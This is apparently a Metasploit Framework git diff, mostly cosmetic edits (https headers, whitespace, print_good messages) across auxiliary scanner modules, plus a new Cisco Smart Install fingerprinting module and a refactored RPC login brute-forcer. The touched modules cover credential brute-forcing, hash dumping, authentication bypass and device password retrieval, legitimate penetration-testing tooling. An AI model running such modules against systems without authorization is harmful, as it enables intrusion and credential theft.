--- a/modules/auxiliary/scanner/lotus/lotus_domino_hashes.rb
+++ b/modules/auxiliary/scanner/lotus/lotus_domino_hashes.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/auxiliary/scanner/lotus/lotus_domino_login.rb b/modules/auxiliary/scanner/lotus/lotus_domino_login.rb
index d563a33a9e..8346204e00 100644
--- a/modules/auxiliary/scanner/lotus/lotus_domino_login.rb
+++ b/modules/auxiliary/scanner/lotus/lotus_domino_login.rb
@@ -1,12 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::AuthBrute
   include Msf::Auxiliary::Report
diff --git a/modules/auxiliary/scanner/lotus/lotus_domino_version.rb b/modules/auxiliary/scanner/lotus/lotus_domino_version.rb
index 4b9e235a9a..11cdbc078f 100644
--- a/modules/auxiliary/scanner/lotus/lotus_domino_version.rb
+++ b/modules/auxiliary/scanner/lotus/lotus_domino_version.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
@@ -91,7 +90,7 @@ class MetasploitModule < Msf::Auxiliary
       if currentversion.length == 0 then
         ''
       else
-        print_status("#{ip}:#{rport} Lotus Domino Current Version: #{currentversion}")
+        print_good("#{ip}:#{rport} Lotus Domino Current Version: #{currentversion}")
       end
 
       check2.each do | check |
@@ -107,7 +106,7 @@ class MetasploitModule < Msf::Auxiliary
           # string we are regexing: <title>IBM Lotus Notes/Domino 6.5.6 Release Notes</title>
           if match = res.body.match(/\<title\>(.*)Lotus Notes\/Domino (.*) Release Notes\<\/title\>/);
             server2 = $2
-            print_status("#{ip}:#{rport} Lotus Domino Release Notes Version: " + $2)
+            print_good("#{ip}:#{rport} Lotus Domino Release Notes Version: " + $2)
             report_note(
               :host	=> ip,
               :proto => 'tcp',
@@ -175,7 +174,7 @@ class MetasploitModule < Msf::Auxiliary
       if baseversion.length == 0 then
         ''
       else
-        print_status("#{ip}:#{rport} Lotus Domino Base Install Version: #{baseversion}")
+        print_good("#{ip}:#{rport} Lotus Domino Base Install Version: #{baseversion}")
       end
     end
     rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
diff --git a/modules/auxiliary/scanner/mdns/query.rb b/modules/auxiliary/scanner/mdns/query.rb
index 4ef9d4c5cc..db1a50ac6f 100644
--- a/modules/auxiliary/scanner/mdns/query.rb
+++ b/modules/auxiliary/scanner/mdns/query.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/auxiliary/scanner/misc/cctv_dvr_login.rb b/modules/auxiliary/scanner/misc/cctv_dvr_login.rb
index e5ba5fb864..712d8e15d8 100644
--- a/modules/auxiliary/scanner/misc/cctv_dvr_login.rb
+++ b/modules/auxiliary/scanner/misc/cctv_dvr_login.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
   include Msf::Auxiliary::AuthBrute
   include Msf::Auxiliary::Scanner
@@ -107,7 +106,7 @@ class MetasploitModule < Msf::Auxiliary
         end
 
         uri = "http://#{rhost}:#{datastore['HTTP_PORT']}"
-        print_status("Confirmed IE ActiveX HTTP interface (#{v}): #{uri}")
+        print_good("Confirmed IE ActiveX HTTP interface (#{v}): #{uri}")
 
         report_service(
           :host => rhost,
@@ -215,5 +214,4 @@ class MetasploitModule < Msf::Auxiliary
     end
 
   end
-
 end
diff --git a/modules/auxiliary/scanner/misc/cisco_smart_install.rb b/modules/auxiliary/scanner/misc/cisco_smart_install.rb
new file mode 100644
index 0000000000..e8ab34009b
--- /dev/null
+++ b/modules/auxiliary/scanner/misc/cisco_smart_install.rb
@@ -0,0 +1,88 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Auxiliary
+  include Msf::Exploit::Remote::Tcp
+  include Msf::Auxiliary::Scanner
+  include Msf::Auxiliary::Report
+
+  def initialize(info = {})
+    super(
+      update_info(
+        info,
+        'Name'           => 'Identify Cisco Smart Install endpoints',
+        'Description'    => %q(
+          This module attempts to connect to the specified Cisco Smart Install port
+          and determines if it speaks the Smart Install Protocol.  Exposure of SMI
+          to untrusted networks can allow complete compromise of the switch.
+        ),
+        'Author'         => 'Jon Hart <jon_hart[at]rapid7.com>',
+        'References'     =>
+          [
+            ['URL', 'https://blog.talosintelligence.com/2017/02/cisco-coverage-for-smart-install-client.html'],
+            ['URL', 'https://blogs.cisco.com/security/cisco-psirt-mitigating-and-detecting-potential-abuse-of-cisco-smart-install-feature'],
+            ['URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityResponse/cisco-sr-20170214-smi'],
+            ['URL', 'https://github.com/Cisco-Talos/smi_check'],
+            ['URL', 'https://github.com/Sab0tag3d/SIET']
+
+          ],
+        'License'        => MSF_LICENSE
+      )
+    )
+
+    register_options(
+      [
+        Opt::RPORT(4786)
+      ]
+    )
+  end
+
+  # thanks to https://github.com/Cisco-Talos/smi_check/blob/master/smi_check.py#L52-L53
+  SMI_PROBE = "\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x04\x00\x00\x00\x08\x00\x00\x00\x01\x00\x00\x00\x00".freeze
+  SMI_RE = /^\x00{3}\x04\x00{7}\x03\x00{3}\x08\x00{3}\x01\x00{4}$/
+  def smi?
+    sock.puts(SMI_PROBE)
+    response = sock.get_once(-1)
+    if response
+      if SMI_RE.match?(response)
+        print_good("Fingerprinted the Cisco Smart Install protocol")
+        return true
+      else
+        vprint_status("No match for '#{response}'")
+      end
+    else
+      vprint_status("No response")
+    end
+  end
+
+  def run_host(_ip)
+    begin
+      connect
+      return unless smi?
+    rescue Rex::AddressInUse, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, \
+           ::Errno::ETIMEDOUT, ::Timeout::Error, ::EOFError => e
+      vprint_error("error while connecting and negotiating Cisco Smart Install: #{e}")
+      return
+    ensure
+      disconnect
+    end
+
+    service = report_service(
+      host: rhost,
+      port: rport,
+      proto: 'tcp',
+      name: 'Smart Install'
+    )
+
+    report_vuln(
+      host: rhost,
+      service: service,
+      name: name,
+      info: "Fingerprinted the Cisco Smart Install Protocol",
+      refs: references,
+      exploited_at: Time.now.utc
+    )
+  end
+end
diff --git a/modules/auxiliary/scanner/misc/clamav_control.rb b/modules/auxiliary/scanner/misc/clamav_control.rb
index dd31501dac..2dd5fed7ef 100644
--- a/modules/auxiliary/scanner/misc/clamav_control.rb
+++ b/modules/auxiliary/scanner/misc/clamav_control.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb
index e2cf2b7936..2cbd6c21c3 100644
--- a/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb
+++ b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb
@@ -1,3 +1,8 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
 class MetasploitModule < Msf::Auxiliary
   include Msf::Exploit::Remote::Tcp
   include Msf::Auxiliary::Scanner
diff --git a/modules/auxiliary/scanner/misc/dvr_config_disclosure.rb b/modules/auxiliary/scanner/misc/dvr_config_disclosure.rb
index c2ab3f9f3b..687744ad6e 100644
--- a/modules/auxiliary/scanner/misc/dvr_config_disclosure.rb
+++ b/modules/auxiliary/scanner/misc/dvr_config_disclosure.rb
@@ -1,11 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
@@ -265,5 +263,4 @@ class MetasploitModule < Msf::Auxiliary
     report_service(:host => rhost, :port => rport, :sname => 'dvr', :info => "DVR NAME: #{dvr_name}")
     print_good("#{rhost}:#{rport} DVR #{dvr_name} found")
   end
-
 end
diff --git a/modules/auxiliary/scanner/misc/easycafe_server_fileaccess.rb b/modules/auxiliary/scanner/misc/easycafe_server_fileaccess.rb
index 18b8de5041..3c64ec657f 100644
--- a/modules/auxiliary/scanner/misc/easycafe_server_fileaccess.rb
+++ b/modules/auxiliary/scanner/misc/easycafe_server_fileaccess.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -59,7 +59,7 @@ class MetasploitModule < Msf::Auxiliary
       contents << sock.get_once
     end
 
-    print_status("File retrieved successfully (#{contents.length} bytes)!")
+    print_good("File retrieved successfully (#{contents.length} bytes)!")
     contents
   end
 
diff --git a/modules/auxiliary/scanner/misc/ib_service_mgr_info.rb b/modules/auxiliary/scanner/misc/ib_service_mgr_info.rb
index 62c63c28c0..62052be6ba 100644
--- a/modules/auxiliary/scanner/misc/ib_service_mgr_info.rb
+++ b/modules/auxiliary/scanner/misc/ib_service_mgr_info.rb
@@ -1,12 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
 
   # Scanner mixin should be near last
@@ -236,5 +233,4 @@ class MetasploitModule < Msf::Auxiliary
     end
 
   end
-
 end
diff --git a/modules/auxiliary/scanner/misc/java_rmi_server.rb b/modules/auxiliary/scanner/misc/java_rmi_server.rb
index 883f03732f..747c2f12a2 100644
--- a/modules/auxiliary/scanner/misc/java_rmi_server.rb
+++ b/modules/auxiliary/scanner/misc/java_rmi_server.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'rex/java/serialization'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Java::Rmi::Client
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
@@ -80,7 +79,7 @@ class MetasploitModule < Msf::Auxiliary
     return_value = recv_return
 
     if return_value.nil?
-      print_error("Failed to send RMI Call, anyway JAVA RMI Endpoint detected")
+      print_good("Failed to send RMI Call, anyway JAVA RMI Endpoint detected")
       report_service(:host => rhost, :port => rport, :name => "java-rmi", :info => "")
       return
     end
@@ -177,5 +176,4 @@ class MetasploitModule < Msf::Auxiliary
 
     arguments
   end
-
 end
diff --git a/modules/auxiliary/scanner/misc/oki_scanner.rb b/modules/auxiliary/scanner/misc/oki_scanner.rb
index b5a7da7d90..192c13f435 100644
--- a/modules/auxiliary/scanner/misc/oki_scanner.rb
+++ b/modules/auxiliary/scanner/misc/oki_scanner.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 # TODO: Split this module into two seperate SNMP and HTTP modules.
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::SNMPClient
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
diff --git a/modules/auxiliary/scanner/misc/poisonivy_control_scanner.rb b/modules/auxiliary/scanner/misc/poisonivy_control_scanner.rb
index 6ff7ba9077..3213cd3d6a 100644
--- a/modules/auxiliary/scanner/misc/poisonivy_control_scanner.rb
+++ b/modules/auxiliary/scanner/misc/poisonivy_control_scanner.rb
@@ -1,11 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
@@ -91,5 +89,4 @@ class MetasploitModule < Msf::Auxiliary
       end
     end
   end
-
 end
diff --git a/modules/auxiliary/scanner/misc/raysharp_dvr_passwords.rb b/modules/auxiliary/scanner/misc/raysharp_dvr_passwords.rb
index 566586330a..c523784657 100644
--- a/modules/auxiliary/scanner/misc/raysharp_dvr_passwords.rb
+++ b/modules/auxiliary/scanner/misc/raysharp_dvr_passwords.rb
@@ -1,11 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
@@ -130,5 +128,4 @@ class MetasploitModule < Msf::Auxiliary
     report_service(:host => rhost, :port => rport, :sname => 'dvr', :info => info)
     print_good("#{rhost}:#{rport} #{info}")
   end
-
 end
diff --git a/modules/auxiliary/scanner/misc/rosewill_rxs3211_passwords.rb b/modules/auxiliary/scanner/misc/rosewill_rxs3211_passwords.rb
index dc7fa8dad4..eb749caced 100644
--- a/modules/auxiliary/scanner/misc/rosewill_rxs3211_passwords.rb
+++ b/modules/auxiliary/scanner/misc/rosewill_rxs3211_passwords.rb
@@ -1,11 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Udp
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
@@ -18,7 +16,7 @@ class MetasploitModule < Msf::Auxiliary
         executable in order to retrieve passwords, allowing remote attackers to take
         administrative control over the device.  Other similar IP Cameras such as Edimax,
         Hawking, Zonet, etc, are also believed to have the same flaw, but not fully tested.
-        The protocol deisgn issue also allows attackers to reset passwords on the device.
+        The protocol design issue also allows attackers to reset passwords on the device.
       },
       'Author'      => 'Ben Schmidt',
       'License'     => MSF_LICENSE
@@ -71,7 +69,7 @@ class MetasploitModule < Msf::Auxiliary
 
     #Store the password if the parser returns something
     if password
-      print_status("Password retrieved: #{password.to_s}")
+      print_good("Password retrieved: #{password.to_s}")
       report_cred(
         ip: rhost,
         port: rport,
@@ -121,5 +119,4 @@ class MetasploitModule < Msf::Auxiliary
 
     return pkt[0][333,12] if pkt[0][6,4] == "\x01\x06\xff\xf9"
   end
-
 end
diff --git a/modules/auxiliary/scanner/misc/sercomm_backdoor_scanner.rb b/modules/auxiliary/scanner/misc/sercomm_backdoor_scanner.rb
index 8ab1f22b2a..49076f6880 100644
--- a/modules/auxiliary/scanner/misc/sercomm_backdoor_scanner.rb
+++ b/modules/auxiliary/scanner/misc/sercomm_backdoor_scanner.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
@@ -24,6 +23,7 @@ class MetasploitModule < Msf::Auxiliary
         'License'     => MSF_LICENSE,
         'References'     =>
         [
+          [ 'CVE', '2014-0659' ],
           [ 'OSVDB', '101653' ],
           [ 'URL', 'https://github.com/elvanderb/TCP-32764' ]
         ],
@@ -61,8 +61,7 @@ class MetasploitModule < Msf::Auxiliary
         vprint_status("#{ip}:#{rport} - Backdoor not detected.")
       end
     rescue Rex::ConnectionError => e
-      vprint_status("#{ip}:#{rport} - Connection failed: #{e.class}: #{e}")
+      vprint_error("#{ip}:#{rport} - Connection failed: #{e.class}: #{e}")
     end
   end
-
 end
diff --git a/modules/auxiliary/scanner/misc/sunrpc_portmapper.rb b/modules/auxiliary/scanner/misc/sunrpc_portmapper.rb
index b33bef9a61..8c22d89b69 100644
--- a/modules/auxiliary/scanner/misc/sunrpc_portmapper.rb
+++ b/modules/auxiliary/scanner/misc/sunrpc_portmapper.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -40,8 +40,8 @@ class MetasploitModule < Msf::Auxiliary
       progs = resp[3, 1].unpack('C')[0]
       maps = []
       if (progs == 0x01)
-        while XDR.decode_int!(resp) == 1
-          maps << XDR.decode!(resp, Integer, Integer, Integer, Integer)
+        while Rex::Encoder::XDR.decode_int!(resp) == 1
+          maps << Rex::Encoder::XDR.decode!(resp, Integer, Integer, Integer, Integer)
         end
       end
       sunrpc_destroy
diff --git a/modules/auxiliary/scanner/misc/zenworks_preboot_fileaccess.rb b/modules/auxiliary/scanner/misc/zenworks_preboot_fileaccess.rb
index f3be05240e..15661f9b69 100644
--- a/modules/auxiliary/scanner/misc/zenworks_preboot_fileaccess.rb
+++ b/modules/auxiliary/scanner/misc/zenworks_preboot_fileaccess.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
@@ -76,7 +75,7 @@ class MetasploitModule < Msf::Auxiliary
 
     disconnect
 
-    print_status "File retrieved successfully!"
+    print_good "File retrieved successfully!"
     fname = File.basename(datastore['FILEPATH'])
     path = store_loot(
       'novell.zenworks_configuration_management',
@@ -87,5 +86,4 @@ class MetasploitModule < Msf::Auxiliary
     )
     print_status("File saved in: #{path}")
   end
-
 end
diff --git a/modules/auxiliary/scanner/mongodb/mongodb_login.rb b/modules/auxiliary/scanner/mongodb/mongodb_login.rb
index bf24b70fa9..532b649332 100644
--- a/modules/auxiliary/scanner/mongodb/mongodb_login.rb
+++ b/modules/auxiliary/scanner/mongodb/mongodb_login.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::AuthBrute
   include Msf::Auxiliary::Scanner
diff --git a/modules/auxiliary/scanner/motorola/timbuktu_udp.rb b/modules/auxiliary/scanner/motorola/timbuktu_udp.rb
index 835524c737..a9410b3ebb 100644
--- a/modules/auxiliary/scanner/motorola/timbuktu_udp.rb
+++ b/modules/auxiliary/scanner/motorola/timbuktu_udp.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
   include Msf::Exploit::Remote::Udp
diff --git a/modules/auxiliary/scanner/msf/msf_rpc_login.rb b/modules/auxiliary/scanner/msf/msf_rpc_login.rb
index 7a52c31709..273fd7762f 100644
--- a/modules/auxiliary/scanner/msf/msf_rpc_login.rb
+++ b/modules/auxiliary/scanner/msf/msf_rpc_login.rb
@@ -1,25 +1,27 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-class MetasploitModule < Msf::Auxiliary
+require 'msf/core/rpc/v10/client'
 
+class MetasploitModule < Msf::Auxiliary
+  include Msf::Exploit::Remote::Tcp
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::AuthBrute
   include Msf::Auxiliary::Scanner
 
-  def initialize
-    super(
+  def initialize(info = {})
+    super(update_info(info,
       'Name'          => 'Metasploit RPC Interface Login Utility',
       'Description'   => %q{
         This module simply attempts to login to a
         Metasploit RPC interface using a specific
         user/pass.
       },
-      'Author'         => [ 'Vlatko Kosturjak <kost[at]linux.hr>' ],
-      'License'        => MSF_LICENSE
-    )
+      'Author'        => [ 'Vlatko Kosturjak <kost[at]linux.hr>' ],
+      'License'       => MSF_LICENSE
+    ))
 
     register_options(
       [
@@ -28,34 +30,21 @@ class MetasploitModule < Msf::Auxiliary
         OptBool.new('BLANK_PASSWORDS', [false, "Try blank passwords for all users", false]),
         OptBool.new('SSL', [ true, "Negotiate SSL for outgoing connections", true])
       ])
+
     register_autofilter_ports([3790])
-
-  end
-
-  @@loaded_msfrpc = false
-  begin
-    require 'msf/core/rpc/v10/client'
-    @@loaded_msfrpc = true
-  rescue LoadError
   end
 
   def run_host(ip)
-
-    unless @@loaded_msfrpc
-      print_error("You don't have 'msgpack', please install that gem manually.")
-      return
-    end
-
     begin
       @rpc = Msf::RPC::Client.new(
-        :host => datastore['RHOST'],
-        :port => datastore['RPORT'],
-        :ssl  => datastore['SSL']
+        :host => rhost,
+        :port => rport,
+        :ssl  => ssl
       )
     rescue ::Interrupt
       raise $!
-    rescue ::Exception => e
-      vprint_error("#{datastore['SSL'].to_s} Cannot create RPC client : #{e.to_s}")
+    rescue => e
+      vprint_error("Cannot create RPC client : #{e}")
       return
     end
 
@@ -91,27 +80,29 @@ class MetasploitModule < Msf::Auxiliary
     create_credential_login(login_data)
   end
 
-  def do_login(user='msf', pass='msf')
+  def do_login(user = 'msf', pass = 'msf')
     vprint_status("Trying username:'#{user}' with password:'#{pass}'")
     begin
       res = @rpc.login(user, pass)
       if res
         print_good("SUCCESSFUL LOGIN. '#{user}' : '#{pass}'")
         report_cred(
-          ip: datastore['RHOST'],
-          port: datastore['RPORT'],
+          ip: rhost,
+          port: rport,
           service_name: 'msf-rpc',
           user: user,
-          password: pass,
-          proof: res.body
+          password: pass
         )
-        @rpc.close
         return :next_user
       end
-    rescue  => e
-      vprint_status("#{datastore['SSL'].to_s} - Bad login")
-      @rpc.close
+    rescue Rex::ConnectionRefused => e
+      print_error("Connection refused : #{e}")
+      return :abort
+    rescue => e
+      vprint_status("#{peer} - Bad login")
       return :skip_pass
     end
+  ensure
+    @rpc.close
   end
 end
diff --git a/modules/auxiliary/scanner/msf/msf_web_login.rb b/modules/auxiliary/scanner/msf/msf_web_login.rb
index b41a6a3a23..f9ff1f8b75 100644
--- a/modules/auxiliary/scanner/msf/msf_web_login.rb
+++ b/modules/auxiliary/scanner/msf/msf_web_login.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::AuthBrute
@@ -164,5 +163,4 @@ class MetasploitModule < Msf::Auxiliary
 
     create_credential_login(login_data)
   end
-
 end
diff --git a/modules/auxiliary/scanner/mssql/mssql_hashdump.rb b/modules/auxiliary/scanner/mssql/mssql_hashdump.rb
index 52fb35c651..14e417dd50 100644
--- a/modules/auxiliary/scanner/mssql/mssql_hashdump.rb
+++ b/modules/auxiliary/scanner/mssql/mssql_hashdump.rb
@@ -1,12 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::MSSQL
   include Msf::Auxiliary::Report
 
diff --git a/modules/auxiliary/scanner/mssql/mssql_login.rb b/modules/auxiliary/scanner/mssql/mssql_login.rb
index cdf12ae6bd..124d88ab10 100644
--- a/modules/auxiliary/scanner/mssql/mssql_login.rb
+++ b/modules/auxiliary/scanner/mssql/mssql_login.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -7,7 +7,6 @@ require 'metasploit/framework/credential_collection'
 require 'metasploit/framework/login_scanner/mssql'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::MSSQL
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::AuthBrute
@@ -80,12 +79,11 @@ class MetasploitModule < Msf::Auxiliary
         credential_data[:core] = credential_core
         create_credential_login(credential_data)
 
-        print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}"
+        print_good "#{ip}:#{rport} - Login Successful: #{result.credential}"
       else
         invalidate_login(credential_data)
         vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})"
       end
     end
   end
-
 end
diff --git a/modules/auxiliary/scanner/mssql/mssql_ping.rb b/modules/auxiliary/scanner/mssql/mssql_ping.rb
index 7b1bea8d8e..984aaf326d 100644
--- a/modules/auxiliary/scanner/mssql/mssql_ping.rb
+++ b/modules/auxiliary/scanner/mssql/mssql_ping.rb
@@ -1,12 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::MSSQL
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
diff --git a/modules/auxiliary/scanner/mssql/mssql_schemadump.rb b/modules/auxiliary/scanner/mssql/mssql_schemadump.rb
index d13f1ef7d5..22d31ab354 100644
--- a/modules/auxiliary/scanner/mssql/mssql_schemadump.rb
+++ b/modules/auxiliary/scanner/mssql/mssql_schemadump.rb
@@ -1,13 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'yaml'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::MSSQL
   include Msf::Auxiliary::Report
 
@@ -19,7 +17,7 @@ class MetasploitModule < Msf::Auxiliary
       'Description'    => %Q{
           This module attempts to extract the schema from a MSSQL Server
           Instance. It will disregard builtin and example DBs such
-          as master,model,msdb, and tempdb. The  module will create
+          as master, model, msdb, and tempdb. The module will create
           a note for each DB found, and store a YAML formatted output
           as loot for easy reading.
       },
diff --git a/modules/auxiliary/scanner/mysql/mysql_authbypass_hashdump.rb b/modules/auxiliary/scanner/mysql/mysql_authbypass_hashdump.rb
index 20d1ae1c4e..dee2a2f0a2 100644
--- a/modules/auxiliary/scanner/mysql/mysql_authbypass_hashdump.rb
+++ b/modules/auxiliary/scanner/mysql/mysql_authbypass_hashdump.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::MYSQL
   include Msf::Auxiliary::Report
 
@@ -122,11 +121,11 @@ class MetasploitModule < Msf::Auxiliary
               :socket         => s,
               :db             => nil
               })
-            print_status "#{rhost}:#{rport} Successfully bypassed authentication after #{count} attempts. URI: mysql://#{username}:#{password}@#{rhost}:#{rport}"
+            print_good "#{rhost}:#{rport} Successfully bypassed authentication after #{count} attempts. URI: mysql://#{username}:#{password}@#{rhost}:#{rport}"
             results << x
           rescue RbMysql::AccessDeniedError
           rescue Exception => e
-            print_status "#{rhost}:#{rport} Thread #{count}] caught an unhandled exception: #{e}"
+            print_bad "#{rhost}:#{rport} Thread #{count}] caught an unhandled exception: #{e}"
           end
         end
 
@@ -207,8 +206,7 @@ class MetasploitModule < Msf::Auxiliary
   def report_hashes(hash_loot,service)
     filename= "#{rhost}-#{rport}_mysqlhashes.txt"
     path = store_loot("mysql.hashes", "text/plain", rhost, hash_loot, filename, "MySQL Hashes", service)
-    print_status("#{rhost}:#{rport} Hash Table has been saved: #{path}")
+    print_good("#{rhost}:#{rport} Hash Table has been saved: #{path}")
 
   end
-
 end
diff --git a/modules/auxiliary/scanner/mysql/mysql_file_enum.rb b/modules/auxiliary/scanner/mysql/mysql_file_enum.rb
index 42e044f12f..34180940b1 100644
--- a/modules/auxiliary/scanner/mysql/mysql_file_enum.rb
+++ b/modules/auxiliary/scanner/mysql/mysql_file_enum.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
